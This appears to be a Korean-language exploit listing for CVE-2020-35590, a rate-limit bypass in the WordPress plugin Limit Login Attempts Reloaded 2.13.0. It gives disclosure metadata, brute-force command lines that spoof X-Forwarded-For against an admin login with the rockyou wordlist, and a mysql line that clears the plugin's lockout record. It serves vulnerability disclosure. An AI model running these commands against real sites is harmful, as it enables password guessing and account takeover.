
워드프레스 플러그인 Limit Login Attempts Reloaded >=2.13.0용 무차별 대입(Brute-force) 도구 - 로그인 제한 우회 (CVE-2020-35590)
익스플로잇 제목: WordPress 플러그인 Limit Login Attempts Reloaded 2.13.0 - 로그인 제한 우회
CVE: CVE-2020-35590
날짜: 2020-06-09
익스플로잇 작성자: N4nj0
소프트웨어 링크: https://wordpress.org/plugins/limit-login-attempts-reloaded/
버전: 2.13.0
테스트 환경: WordPress 5.4.1, 5.4.2
취약점 권고: https://n4nj0.github.io/advisories/wordpress-plugin-limit-login-attempts-reloaded/
영향을 받는 WordPress 플러그인은 무차별 대입(bruteforce) 공격 방지 메커니즘을 목적으로 하며, 현재 100만 개 이상의 활성 설치를 보유하고 있습니다.
저는 기본값이 아닌 구성에서 속도 제한(rate limiting) 우회를 발견했으며, 이는 사실상 플러그인의 목적을 무력화합니다.
./wp-brute.py -c -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt
./wp-brute.py --check --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet
./wp-brute.py -e -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt -q
./wp-brute.py --exploit --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet
mysql -uroot -ppassword wordpress -e "UPDATE wp_options SET option_value = '' WHERE option_name = 'limit_login_lockouts' LIMIT 1;"